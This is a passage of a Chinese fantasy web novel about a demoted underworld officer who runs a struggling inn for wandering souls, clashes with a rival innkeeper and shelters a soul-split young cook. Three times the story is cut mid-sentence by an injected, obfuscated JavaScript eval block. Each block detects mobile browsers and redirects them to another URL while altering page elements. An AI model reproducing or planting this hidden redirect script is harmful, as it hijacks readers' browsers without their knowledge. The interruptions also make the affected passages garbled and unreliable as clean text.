《被贬鬼差的客栈经营手札》 1. 无言客栈 客栈门头很小，临着河畔，悬挂的招牌字迹隽秀。 无言客栈。 “今日又无客。”客栈里响起一声叹息，“西北风喝着都塞牙。” 黑猫蹲坐柜台上，脚掌点缀白毛，好似踏在雪中。它轻声叹气，蔫蔫卧下，一早打理妥帖的毛此刻也卷了边。 “踏雪，少说些不吉利的话。”里屋传出一道轻柔的嗓音，珠帘被掀开，身着素白衣衫的女子走向前堂。 她面色有些苍白，薄唇噙着一抹浅笑，淡漠的五官染上些许生动。 此人便是无言客栈的掌柜谢轻荼。 谢轻荼倚在柜台边，指尖点点踏雪的额头：“无言客栈开在这地界，自然是客人愈少愈好。” 世人只知死后会去往地府投胎，却不知人间与地府之间还夹着一处地界，名唤狭间，因各种缘由未能投胎的游魂便滞留在此处。 无言客栈就坐落于狭间的边缘。 “你这千年老鬼还讲究吉利呢。”踏雪拨开她的手指，没好气道，“倘若望泉客栈那独眼掌柜有你半分觉悟，他挣的冥币也不至于连裤兜都装不下。” 千年老鬼谢轻荼只是笑：“该来的，自然会来。” 话落，一阵穿堂风挟着药草香拂过前堂。身披黑袍的老妪站在门口，也不说话，浑浊双目直勾勾地盯着谢轻荼。 “你这嘴，今日开光了啊。”踏雪惊喜道，它下了柜台，尾巴翘起，绕着来者脚边打转，“客官，住店么？” 老妪仍未收回目光，嘶哑嗓音游走在唇齿间：“要一间上等客房，墙缝不漏风，被褥松软，且有温热汤池的那种。” “这…”踏雪尾巴心虚似的垂下，“上等客房今日住满了。” 那头谢轻荼翻了翻名簿，心下了然。她抬脚走向老妪，边唤踏雪：“踏雪，到我身后。” 还不等踏雪反应，黑袍下倏然探出只指甲尖利的手掌，径直袭向谢轻荼心口。 那手盈满十二分内力，刹时间，客栈内阴风阵阵，烛台熄灭，前堂没入黑暗。 昏霭之中，谢轻荼视线也并未受阻。她面上毫无波澜，只稍稍后撤，轻易地扣住老妪手腕。指腹轻压，抵住关节，叫对方如何都挣脱不开。 踏雪浑身炸毛，缩在木桌下，朝老妪龇牙咧嘴：“在狭间闹事，你可知这里是谁的地盘，当心我让府君将你轮回至饿鬼道。” 闻言，老妪轻笑一声。 谢轻荼只觉手掌一松，见老妪瞬间脱离她的桎梏，腰身拧转，反手又打向她门面。这身手，哪里像是风烛残年的老者。 若是挨下这掌，怕是脑仁都要碎了。谢轻荼不敢再大意，双眸盯住枯瘦手掌袭来的轨迹，堪堪偏头避过。旋即她调动内力，身形一晃，转而消失在原地。 老妪一掌落空，愣怔片刻，来不及回头，便觉颈间覆上抹寒意。命门被拿住，她倒吸一口气，骨骼生锈似的，要动不动的脖颈随之僵住，身后响起谢轻荼的声音。 “到此为止。” 她松了手，又重归那副寡淡神色，映在眼瞳中的那道佝偻身影软了下去，转眼化作副袅娜姿态。 对方转身，黑袍下的面颊不复苍老模样，皮肤像被熨贴，皱纹攀下素净的一张脸。 “多年不见，谢大人的身手可是半点都未曾退步。”婉转声色自红唇泄出，那人尾音拖着点媚，嗔怪地斜了谢轻荼一眼，“还是这般不懂得怜香惜玉。” 谢轻荼笑着唤她名姓：“孟娘。” 竟是老熟人，踏雪蹿到她俩中间，一口咬上孟娘脚踝，含糊骂道：“原是你这疯女人，还上等客房呢，茅房都不给你住。” 脚踝一道小小的齿印，孟娘也不恼，蹲下揉着踏雪的脑袋：“猫小二，去给客官我烫壶碧落清酿。” “我不要。”踏雪作势要咬她的手，“你总是赖账，轻荼兜里没几个子了，经不起你霍霍。” 孟娘叹了声你这小二倒是称职，揶揄目光滑向谢轻荼，后者无奈道：“踏雪，去罢。” 黑猫泄愤似的，爪子在地板上使劲磨磨，转眼化作一位黑发黑瞳的姑娘，嘟囔着往后院去。 谢轻荼：“说罢。” 孟娘望着她。 “你此番前来狭间，可不只是惦记我这碧落清酿罢？”谢轻荼接过酒坛，帕子拭去上头沾染的泥垢，为孟娘斟了一碗。 酒香四溢。 孟娘抿一口酒：“你酿的？依旧这么难喝。” 话是这么说，面前瓷碗仍旧见了底，后又催促谢轻荼再给她满上。 谢轻荼落座，等她开口。 孟娘：“两件事。” “一是府君命我将孟婆汤的摊子支在狭间，他们打算在奈何桥头设立新的摊位。我先前去了趟望泉客栈，怎么说呢，那位掌柜承诺的报酬很是丰厚。” 踏雪又化作黑猫，窝在柜台上假寐，二人对话落进它抖动的双耳中。 谢轻荼抬眸：“你答应了？” “哪能啊。”孟娘摇晃见底的酒坛，“这等好处，自然是要留给你的。前提是无言客栈得有客人，府君催得紧，这事终归是要落实的。” 环顾萧条的无言客栈，谢轻荼只能向她道声多谢。 “那二呢？” “二是。”孟娘施施然起身，“府君召见你。” - 孟娘罕见地没有赖账，在踏雪身边留下几枚冥币。 谢轻荼同猫儿交代几句，也不管对方听见没有，转身随孟娘出了客栈。 河面倒映上方铁灰色的雾气，孟娘一挥衣袖，那汪死水便沿她胳膊动向翻起漩涡。漩涡逐渐扩散，洞开一道足以令几人穿过的口子。 谢轻荼踏进洞口，水流挟着她往深处去。只眨眼功夫，二人于忘川河岸现身，身上衣衫干燥，并未沾染分毫水渍。 奈何桥头人满为患，拥在孟娘的摊子前。他们瞧着多少都有些凄惨，有位甚至抱着自己的脑袋。 孟娘赶忙招呼他们，揭开白气氤氲的汤锅：“这边不能耽搁太久，莫误了投胎的时辰。我便不送了，还记得路罢？” 谢轻荼自然是记得的，这条路她走了得有千万遍。漫天浓雾中隐约可见太山府屋檐的轮廓，她同孟娘告别，在青石板道行半柱香的时间，又攀几层石阶，方才到大殿门前。 殿内已有几人到场，她认得这些人，皆是在狭间有一门营生的。 府君端坐宝座之上，见了谢轻荼，面上也无甚波澜：“坐罢。” 俯身行礼后，谢轻荼在一旁的槐木椅落座。左手边那位转头瞧她，独眼占据他大半张脸，即便眯着眼笑，也难掩眼底透出的狡黠：“谢掌柜，无言客栈近日可好？” 听对方若无其事同她寒暄，谢轻荼声线染上一抹凉意：“甚好，有劳一目掌柜挂心。” 话中疏离意味明显，一目却像是浑然不觉，亦或是成心想寻她不痛快，焦黄牙齿不知疲倦似的开合。 “那便好。”他自顾自道，“望泉客栈也是好得不能再好，客人们很是中意我那汤池，忘川河水阴寒，该让他们泡过热汤再上路才是。” 对方抿紧的薄唇落入那只独眼中，叫一目尤为称心，他佯装恍然：“是在下失言，忘了无言客栈坐落于十八层地狱正上方，既有地热，又何须什么劳什子汤池呢。” 谢轻荼：“……” 一声轻咳打断二人低语，府君瞥了眼谢轻荼，朗声开口：“此次请诸位前来，是为狭间之事。人间战火平息，前往地府的亡魂数目也大不如从前…” 场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165378|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面话翻来覆去地念叨，大致意思不过是他给不出俸禄了。地府上上下下几百号鬼差，个个都是吃钱的鬼，能榨一点死人的冥币就算一点。而这不光彩的活计，又落到狭间这帮商贩头上。 之后众人一一向他禀报铺子的收成，其中当属一目最眉飞色舞，恨不得将望泉客栈的账本怼到府君眼皮子上。 最后轮到谢轻荼，她还是那句话。 “甚好。” “好在何处？”府君深吸口气，眉头拧紧，不朽岁月并未在他面上遗留任何痕迹，那五官轮廓同谢轻荼有些相像，“孟娘同你说了罢。” 他指的是孟婆汤一事。 不等谢轻荼出声，那头一目又坐不住了：“府君大人明鉴，依在下所言，望泉客栈如日中天，于此处贩卖孟婆汤再好不过，想来孟娘也是乐意的。” “至于无言客栈，各位都晓得，谢掌柜亦是有能耐之人。若望泉客栈与无言客栈合并，也可谓是珠联璧合，何乐而不为呢。” 府君不置可否，并未急着回应他：“谢掌柜意下如何？” 谢轻荼心中嗤笑一声，她能意下如何呢。一目算盘打得倒是响，不但越过孟娘替对方做了决断，现下又妄图吞掉她的客栈。他如今撂下这话，往后再搬出府君，怕是二人都得叫他牵着鼻子走。 尽管路上孟娘反复叮嘱她不可忤逆府君，但谢轻荼向来不是会说软话的性子。 她起身，盯住那肃穆的双眸：“一目掌柜倒是好运，幸得府君大人眷顾。望泉客栈坐落狭间入口，地下又恰巧有泉眼，哪是我那十八层地狱之上的无言客栈可比拟的。” 这是在当众诉诸他的不公了，府君面上挂不住，勉强压下怒意，眸光阴沉：“谢轻荼。” “无言客栈地处狭间边界，中间又隔着道河，您有所不知，原先那位摆渡人早已入了轮回。”她并未受压迫，迎着对方视线，不疾不徐道：“没了渡船，您让那些亡魂如何渡河，游来么？” 这话就不大好听了。 “谢轻荼，你且问在场诸位，有谁同你那般，从未按时缴纳过贡赋么？我念及昔日情分，三番五次容忍你，可是你呢？”府君听闻这多有不敬的言语，彻底怒了，丧钟般的嗓音回荡于殿内，令众人皆是浑身一颤，“各位都有目共睹，从前你身为鬼差，有尽到自己的职守么？” 他当即唤来一位黑衫鬼差呈上罪状书，上头密密麻麻记载着谢轻荼当差时的罪证。 “念。” 那鬼差捧着罪状书，颇有些手足无措。 府君沉声重复：“念。” 鬼差犹豫片刻，目光落至谢轻荼面上，很快便撤回：“甲子年，谢轻荼介入山鸡与黄鼠狼的因果，擅自篡改二者命途，罚百年俸禄。” 这则罪行过于荒诞，在场几人垂着脑袋，也不知此刻是该怕还是该乐了。 “继续。” “庚申年，谢轻荼违背天地法则，私自延长将死之人寿命十年，罚百年禁闭，差事交由同僚范离原…” “好了。”府君挥手，止住她的话，“还有许多未经记载的，谢轻荼，你以为我不晓得，无言客栈里那只猫妖的存在是么？” 谢轻荼不吱声了，偏偏一目还在火上浇油：“府君大人且消消气，谢掌柜也是心怀怜悯，属实难能可贵。” “心怀怜悯？为我当差倒是委屈你了。”府君黑着张脸，眉目间尽是不耐，“若是今年再交不上贡赋，你那客栈也莫开了。我命人送你下去，待你历经十八层地狱，再想法投胎当个好人罢。” 谢轻荼还想再说些什么，却见那黑衫鬼差朝她使了个眼色。她只好压下双眸，低声回应：“是。” 府君面有倦色，临了只撂下一句顽石之质，不可琢也，便回内殿歇息了。 2. 浮圆子·上 “轻荼。” 谢轻荼踏出殿门时，那黑衫鬼差叫住她。 “范大人，可还有事？” 闻言范离原面色有些许难过：“轻荼，现下只有我们二人，你不必如此生分。” 念罪状书不过转瞬须臾，范离原却备受煎熬。她好似经受黥刑之人，落在眼底的罪状，便是刻在她面上的墨字。 即便她晓得，谢轻荼并不会在意这些。 她与对方共事千年，谢轻荼虽瞧着是位冷情之人，但范离原比谁都清楚，昔日同僚总是对世间万物怀有一丝怜悯。而这份怜悯，让其在这阴曹地府显得分外另类。 “离原。”见她眉目哀愁，谢轻荼晓得对方也是一番好意，便轻声宽慰道：“太山府跟前，还是别让府君见你同我走得太近。等得了空，便去无言客栈坐坐，我拿碧落清酿招待你。” 她到底是被贬之人，与范离原这正儿八经的鬼差之间，终究是隔了道透明的墙。 范离原这才笑了：“若有困难，尽管来寻我。府君那头，我也会替你说些好话。” 鬼差公务繁忙，她匆匆同谢轻荼告辞。等再也瞧不见她身影时，谢轻荼下山，行至忘川下游。 孟娘有意合作，她也不愿辜负对方。况且如今与一目也算是正式撕破脸皮了，她又岂能让那小妖骑到自己头上。当务之急，便是要解决渡船之事。 引渡老翁坐在船首，有一搭没一搭地抽着旱烟。见了谢轻荼，他吐出烟气，咧开满嘴黄牙：“谢掌柜的，听闻今日府君当众翻你旧账了？” 坏事传得倒快，谢轻荼干笑，欲要揭过这一篇章：“阿伯，你那旧渡船还在么？” “在，在。”老翁将烟杆搁在地上叩了叩，河岸泥沙中便浮起一只略显古旧的渡船，“你要便拿去，放在我这也只是任凭它腐朽。” 谢轻荼上船，低头扫了眼船身，见没有破损，她撑起竹桨：“那轻荼便谢过阿伯了。” 溯流而上，行至奈何桥下。亡魂已入轮回，孟娘得了空，坐在桥柱上，正饮一碗热茶。谢轻荼没来由地想，若是孟娘饮下自己熬的汤，又会如何呢？ “我同你交代过什么来着。”孟娘搁下茶碗，侧目觑着那对桃花眼瞧她，“倘若府君一气之下将你打入十八层地狱，到时候我可捞不着你。” 谢轻荼一身素净白衫，立于老旧渡船上，显得分外不搭。孟娘打量着她，又乐了：“谢大人抢了那老伯饭碗，改行当引渡人了？” “你就莫要调笑我了。”谢轻荼无奈。 “之后让猫小二撑船？” 她想了想，踏雪是指望不上的，见了水爪子都挪不开。这摆渡一事，自然只能落到自己头上：“它怕水。” “你倒是寻了个祖宗回来。”孟娘摇头失笑，“你且问它，何时来饮我这孟婆汤。” 谢轻荼撑船的手顿住：“再等等罢。” 她语气空落落的，孟娘缄默片刻，也没再提误了投胎时辰之类的话。她一挥衣袖，忘川河面又卷起漩涡：“回罢。” 谢轻荼被贬后，府君收回她出入地府与人间的权能。若是想回狭间，也只能再次拜托孟娘了。 半边船身驶进漩涡，孟娘的声音夹着嘈杂水声传入她耳中：“轻荼，好好干。别等我那摊子还没支好，无言客栈就倒了。” 回到无言客栈，谢轻荼照例同踏雪打了声招呼，猫儿仍在睡，轻轻晃着尾巴以作回应。她捎上名簿，摆舟去河对岸迎客。 人死后，魂魄途径狭间，于此处滞留一夜，若是无甚差错，便由引渡人引去地府投胎。而那些因某些缘由无法离开狭间的人，他们的名姓，以及前世今生历经之事，都化作苍白纸页，浮现在这名簿中。 等了片刻，搁在手边的名簿自己翻开了。谢轻荼鲜少去翻这记载世间悲喜的名簿，免得心里堵得慌，不过现下正好无客，她拾起名簿，眼神落到最后一页。 谢轻荼总将缘分挂在嘴边，被贬时也是，当了掌柜，面对无人问津的客栈时也是。该来的，总会来的。其实她也弄不明白，这究竟是缘，还是孽。恍惚之间生出一种预感，如若不去读这名簿，将来什么事也不会有，但她依然鬼使神差地这么干了。 指尖抚上纸页，命途轨迹也随之流转。似是有根无形丝线，将她扯向遥远的彼岸。 裴宴辞。 她无声念出名簿上的名姓。 目光又落至此人前世上，半晌，谢轻荼愣怔地盯着纸张，眸光映出些许凄然。她呼吸有些乱了，指尖不自觉地使劲，在纸上掐出几道月牙型的痕迹。 从前的记忆纷至沓来，恍惚思绪淹没在船身拍出的声浪中。她出神地捧着名簿，一时间没听见有人在唤她。 “姑娘。” 谢轻荼抬头。 面前出现一位男子，柔和的目光落入她眼底。 她当差时见过许多怨魂，多是未到寿终正寝的年纪，便早早丧了命。眼前之人很是年轻，但那双眼中却找不到一丝怨恨与不甘。 “姑娘？”男子又唤她。 谢轻荼合上名簿：“裴宴辞？” “是我。”裴宴辞望着她身下的渡船，眼底浮现一丝迷惘，“是去望泉客栈的么，听同来的人说，此处有间望泉客栈，那里有着上好的汤池。” 谢轻荼：“……” 敢情她在这等半天，迎的是一目掌柜的客。 她一眼便瞧出此人魂魄不全，狭间不大，望泉客栈就在入口处，寻常人不至于迷路。人有三魂，而裴宴辞只有一魂入了狭间，晕头转向，这才误行至河岸边。 谢轻荼该说不是的，但不知怎的，她点了点头：“上船罢。” 一路无言。 裴宴辞望着她脑后如绸缎般的乌发，终于耐不住沉闷的氛围：“请问掌柜的贵姓？” “姓谢，谢轻荼。” 见对方头也不回，他有些尴尬。习惯性地想去抚下发顶，又像是想起什么似的，转而放下胳膊，只盼快些到客栈。 河面上起了雾，那映在他眼中的，谢轻荼的身影逐渐朦胧。他眨眨酸涩的双眸，打了个哈欠，魂魄不全使他极易疲倦，连着身子骨也泛上寒意。 “敢问谢掌柜，现下是什么时辰？” 谢轻荼感知着身后的响动：“丑时三刻。” 狭间没有昼夜之分，但她总能说出现下的时辰，许是不朽岁月中形成的本能，又或是她对时间本身的执拗。 尽管时间对鬼而言本就无甚意义。 “今日是上元佳节。”裴宴辞似有些雀跃。 苍茫鬼域，又哪里有上元佳节的氛围，他到底是丧命不久，尚未脱离人类素有的观念。这喜庆日子，同鬼魂又有何干呢。 “此地只过中元节。”这话在唇齿间转圜一番，又让谢轻荼咽了回去，最后只是低声嗯了一句。 渡船驶离浓雾，无言客栈出现在眼前。甫一靠近，裴宴辞盯住那招牌上的字，当下便慌了神，险些跌进河里。 “无言客栈？”他蜷着身子，当谢轻荼是话本子中常有的水鬼，生怕被对方拽进水底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165379|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“不是望泉客栈么？” 船身靠岸。 “更名了。”谢轻荼搁下竹桨，朝客栈里头喊：“踏雪，迎客。” 裴宴辞眼睁睁见门内蹿出只黑猫，在他脚下嗅了嗅。他不由得后退几步，不曾料到那猫儿嘴中吐出的竟会是一道人言。 “客官里边请。” 似是水鬼的女子，还有会说话的猫儿，裴宴辞暗道不对。谢轻荼瞧都不瞧这边一眼，想来是不愿同他解释的，大有若是他不识趣，就留他在船上睡一宿的架势。 裴宴辞只好被踏雪领进客栈。 前堂昏暗，只有一烛台搁在柜上。 踏雪坐在算盘边：“客房十文冥币。” 见裴宴辞垂眸，手足无措地攥着衣摆，它了然道：“可以赊账，待亲人烧纸后再付，明日让轻荼领你去天地钱庄取钱罢。” “我没有亲人。”脑袋垂得更低。 “友人呢？” “也没有。” “没钱你住甚客栈？”猫爪探出肉垫，若是裴宴辞赖着不走，它便挠花对方秀气的脸蛋，“在河边对付一宿得了，几宿也说不准，毕竟你也没钱买孟婆汤。” 裴宴辞低声道歉，就要往门外去。谢轻荼却像是早已料到，抚平炸起的猫毛：“踏雪，领去客房罢，他还要在狭间待很久，不急于这一时。” “这…”裴宴辞犹豫片刻，衣角叫他拧得皱皱巴巴。正欲推却，可瞥见门外浓重的雾气，他硬生生地止住脚步，转而向对方行礼，嗓音低得不像话，“谢过掌柜的，我会在客栈做工抵债，实在对不住了。” 等一人一猫上楼，谢轻荼去灶房烧水。热气蒙眼，她出神地盯着逐渐涌现的水泡，身后响起道轻微的脚步声。踏雪蹲坐地上，胡须耷拉着，似是满腹怨念。 “先前无客也就罢了，现下又做起亏本买卖，府君将你训傻了？” 滚水倒入桶中，谢轻荼不说话，又烧了一锅水。 踏雪到底不是寻常猫儿，轻易便读出她未说口的话：“你认得他？” “算是。” “那就是认得前世的他了。” 谢轻荼又不说话了。 “迟早撬开你这闷葫芦的嘴。”踏雪恨恨磨爪。 客房里，裴宴辞打着哆嗦，体内余下的那一魂有些紊乱。寒意噬咬四肢百骸，他想泡个热汤，但角落里只摆着个大木桶，里头什么也没有。 他不好意思去找谢轻荼，对方是这辈子难得遇见的好人，就算是水鬼，也是位好水鬼。他已然占了天大的便宜，又岂能讨要更多。 脱去外衫，正欲躺入被褥中，房门却在此时被敲响了。谢轻荼拎着两桶热水，也不言语，径直将水灌进木桶中。 屋内腾起些许暖意，裴宴辞赶忙下榻，趿拉着靴子，拎起另桶水：“我来便好。” 他俯身时，发丝下隐约可见一个窟窿，边缘血渍暗红。发觉谢轻荼的目光，他颇有些拘谨，挤出笑意：“锤子砸的。” 谢轻荼没什么表情。 这木桶也算上古遗留物了，底部裂了道豁口，热水淌到地板上。裴宴辞随手寻块布巾塞住，委婉道：“我从未泡过汤池，今日也算见识到了，原来是这般的。” “鬼造汤池。”谢轻荼勾起唇角，皓齿若隐若现，“可还满意？” “……” “自然，自然。”裴宴辞哪敢挑三拣四，干巴巴地奉承道，“甚是新奇，多谢您。” 谢轻荼满意点头，转身出门：“泡过后便早些歇息。” 3. 浮圆子·下 谢轻荼在河岸边设下一对传声铃，若是有客人想渡河，只要摇晃铃铛，她在客栈那头也能听见。 回到客栈时，前堂满室浓郁香气，灶房门帘下，黑色猫尾轻轻晃荡。 谢轻荼掀帘：“怎么了？” “穷鬼在煮好吃的。”踏雪一瞬不瞬地盯着灶台前正在忙活的身影。 灶下燃着橘焰，谢轻荼瞥了眼装火折子的竹篓。 里头一支未少。 素面出锅，裴宴辞擦手，笑着望向她：“谢掌柜，用早饭罢。” 案上三碗素面，裴宴辞犯难，迟迟没有动筷。水鬼只凭筷子，能用饭么，他觑眼谢轻荼，斟酌开口：“该点香么？” 谢轻荼没答话，夹一缕面条送入口中，口感劲道。素面并未放肉，也无蔬菜，只一点香油点缀汤面，却香气扑鼻，竟让人觉得在品味珍馐美馔。 裴宴辞愣住：“你是人？” “我是鬼。”谢轻荼又喝一口面汤。 裴宴辞捏紧木筷：“水鬼么？” 猫肚抖了几下，明眼人都能瞧出踏雪在憋笑。它面前瓷碗见底，舔舔嘴唇，爪子搭在裴宴辞腕上：“还要，以及，少读那些话本子。” 裴宴辞回神，将自己碗中未动的素面拨一半给踏雪。 只吃几口，谢轻荼便搁下筷子。她的食欲在千年岁月中逐渐褪却，偶尔对付几口便作罢。再者她的厨艺实在堪称糟糕，踏雪更是指望不上，曾经无言客栈还有客人时，不少亡魂因此空着肚子上路。 “不合胃口么？”裴宴辞揣揣不安，“今日上元佳节，我本想煮些浮圆子，多少意思意思，可灶房只有细面。” “饱了。” 踏雪又吃了谢轻荼那份，肚皮胀圆，餍足地瘫在木椅上。闻言，它支起耳朵：“浮圆子须何种材料？” 裴宴辞按耐住想要揉它肚皮的念头：“糯米，芝麻即可。” “糯米碾碎，混水揉团，包裹拌上香油的芝麻馅，再煮一刻。”只言片语，便勾勒出一碗热气腾腾的浮圆子。 踏雪嘴边缀着一粒水珠。 “……”迎上那对期许的猫瞳，谢轻荼叹了口气。 五谷铺内。 掌柜的正整理货柜，听见身后脚步声，他合上抽屉：“要些什么？” 他回头，面上皮肉烂得彻底，牙齿歪斜出没有嘴唇的下颌，开口便是一股腐臭味。 这竟是一只僵尸。 谢轻荼：“糯米，芝麻。” “哟，这不是谢掌柜么，怎的得空光顾我这小铺？”僵尸拾起掉落的半块脸皮，重新摁回面上，“只可惜，铺子打烊了，还请明日再来罢。” 谢轻荼环顾店铺，杂粮筐子仍摆在案上，哪里像是打烊了的样子。若明日再来，怕是对方又会以相同的借口搪塞她。 僵尸窃喜。 五谷铺同望泉客栈做过几回生意，一目掌柜暗戳戳打点过，倘若见了谢轻荼，多少为难下她。话都说到这份上了，他又岂会为了个落魄的昔日鬼差，惹得老主顾不快。 他气定神闲，晾着谢轻荼，转身又开始整理货柜，不料却听对方漠然道：“掌柜的，你可知我是谁？” “自然是晓得的，谢掌柜，谢大人嘛。”他手上动作不停，“这地界谁不认得您？” “那你可知，自己的名姓又在谁的无常簿里？” “反正不在您手里。”话音未落，僵尸蓦地顿住了。绞尽脑汁回忆，当年他离开棺木，下山屠尽满村，是范离原将他捉了去，罚他在狭间滞留百年。也就是说，他的名姓记在范离原簿子里。 这范离原范大人同谢轻荼又是何等交好，整个地府无人不晓。如若谢轻荼向对方打小报告，他怕是又得晚上几年再入轮回了。 见那烂脸上各色神情交织，谢轻荼但笑不语，由他暗自揣度。之所以搬出范离原，也正是因着这些人并不知晓，她这位往日同僚有多公正。 即便是谢轻荼，就算说破嘴皮子，也别想让对方动无常簿上半个字。 “糯米，芝麻是罢。”僵尸讪笑，装了一大袋芝麻递给她，“糯米您得自个取，我遭不住那玩意。钱也甭给了，就当为无言客栈添个彩头，您慢走。” - 浮圆子出锅，等其放凉，踏雪张嘴吞下一枚，上牙膛被糊了个结实。它干脆化作人形，牙齿小口咬，喜色攀上眉梢：“裴小哥，莫非你有天生饭灵根？” 吃人嘴短，它也不唤裴宴辞穷鬼了。 踏雪头回在裴宴辞面前化形，唬得他一抖。拾起落进碗底的勺子，揩掉汤水，他谦逊道：“从前在戏班当过厨子。” 忆起往事，他眸色暗淡些许，安静地将帕子递给嘴角沾上芝麻馅的踏雪。 碗中浮圆子个个浑圆饱满，瓷白软糯。谢轻荼尝了一枚，满口清甜，芝麻馅醇香自舌尖蔓延，滚入沉寂已久的腹部。 一碗下肚，她对上裴宴辞满含笑意的眼瞳。 谢轻荼忽地有了主意，她唤踏雪送来几只瓷碗，锅里余下的浮圆子盛入碗中，不多不少，一碗正好三枚。 踏雪脑袋又埋进碗里，见对方托碗向外去，它抬起头，嘴里浮圆子要咽不咽：“去哪？” “迎客。” 正值上元佳节，想来人间此时都挂上了满街大红灯笼。晌午时分，又一批亡魂下至狭间，他们连口热乎浮圆子都没吃上，性命便戛然止于这日。 望泉客栈的小厮拦下一亡魂：“客官，里边请，客栈里有温热汤池。” 那人闻言蹙起眉心，他还未吃上浮圆子，去泡汤，这不是将自己当浮圆子煮了么。使劲将小厮搡至一旁，他粗声粗气道：“边去，别来寻我不痛快。” 撂下瘫坐在地的小厮，他转眼见一白衫女子托着几只烟气缭绕的瓷碗。吃不上浮圆子，好歹也吃些旁的再上路，这般想着，他走向那处，往碗中一瞧，这可不就是他心心念念的浮圆子么。 谢轻荼递出瓷碗：“浮圆子，吃么？” 只见那人眼中泛起水雾：“吃，吃，就等这一口呢。” 碗底瞬间空了，不过只凭三枚浮圆子，仍无法慰藉他的执念。面上戾气散了些许，他瞥向其余数碗，咽了口唾沫，又听谢轻荼道：“客栈里还有，上船罢。” 愈发多的亡魂被浮圆子吸引，那小厮认得谢轻荼，当下便起身，一头栽进望泉客栈，大概是同一目报告去了。 不消多时，谢轻荼摞起空碗。渡船上满是人，连坐下都费劲，只得前胸贴后背地站着，无言客栈何时有过这般多的客人。先前那人被拥至中间，脚尖离地，从前面亡魂的发丝中拼命挤出脑袋，连声催促：“掌柜的，差不多该走了。” 好在亡魂轻，不然渡船非得半道翻了不可。踏雪遥遥望见渡船，睁大双眸，忙唤裴宴辞端上煮好的浮圆子。 座位坐得满当，顾不得刚出锅的浮圆子滚烫，客人们一个一个地吞入口中，烫出眼泪也满不在乎。 算盘声响，踏雪指尖险些磨出水泡，冥币在手边摞成小山。 灶房内，裴宴辞胳膊一软，汤勺跌入锅中。忙活整日，那缕魂魄又不稳了，他捞出汤勺，双手撑住灶台边沿，暗自吸气，生怕让旁边磨磨的谢轻荼瞧出他的不适。 那番拙劣的掩饰又怎能瞒过谢轻荼，她头也不抬，磨盘将糯米粘成粉末：“歇会，我替你盯着火候。” 裴宴辞挤出笑意：“无妨。” 踏雪端出最后一锅浮圆子，在此间隙，谢轻荼出神地想，若她未曾欺瞒裴宴辞，对方现下会是如何，舒服地泡在望泉客栈的汤池里么？ 也不是，他分文没有，一目不会给出好脸色的。这人又不是那般会欺骗他人的性子，说不准便找个野外的角落，草草对付几宿作罢。 “谢掌柜。”裴宴辞面有踌躇，因着过去的遭遇，他总是无意间讨好他人，也受不住压抑的氛围。谢轻荼施舍一点善意，他便忍不住想同对方多说几句，“踏雪姑娘说，你是鬼差。” 谢轻荼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165380|196687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心道之后得好好训一番猫儿了，让它晓得什么话该说，什么话又不该说。 “从前是。”她别开双眸。 “同范大人那般么？”裴宴辞好似很向往。 谢轻荼抬眼望向他：“你的魂魄，是范离原引至狭间的？” 那淡漠眼眸中忽地生出了些旁的东西，许是现下身弱，裴宴辞晕乎乎的，并未发觉：“那日我挨了一锤，昏沉中隐约见范大人在我身侧，我猜到她是鬼差，此番便是前来索我性命的。” “可她却告诉我，尚有二魂存于我肉身内，我一瞧榻上自己的身体，胸膛仍在起伏，却不再能苏醒。她说等那二魂彻底归于狭间，方能入轮回，或是这一魂回到身体中，这遭也就算彻底过去了。” 像是附和他似的，前堂踏雪的声音响起：“范离原，你来做甚？” 范离原阴沉着脸，此刻才叫人惊觉她是位实打实的鬼差。若非客人回房歇息了，怕是魂魄都要叫她吓得消散。 她瞥向案上余下的浮圆子：“谢轻荼人在何处？” 踏雪拿不准她意思，半晌未曾张嘴。 这厢谢轻荼叮嘱裴宴辞莫要出声，而后转身离开灶房，甫一掀开门帘，便对上范离原失望的目光：“离原，这么晚了，何事？” 范离原咬紧后槽牙：“裴宴辞在你客栈里。” 这并非问句。 谢轻荼支开踏雪，面上风轻云淡：“裴宴辞是何人？” “你莫装蒜。”范离原欺身上前，指尖一点碗沿，“你和那猫儿，一个没手艺，一个连灶台都未曾挨过。你且告诉我，这浮圆子是出自谁手？” 眼见瞒不下去了，谢轻荼干脆破罐破摔：“客来了，我这当掌柜的岂有不迎的道理。” “那是你的客么，那是望泉客栈的客。”范离原差点叫她气笑了。 “望泉客栈可不会迎这客，你也晓得，一目掌柜的只认冥币。”她轻笑。 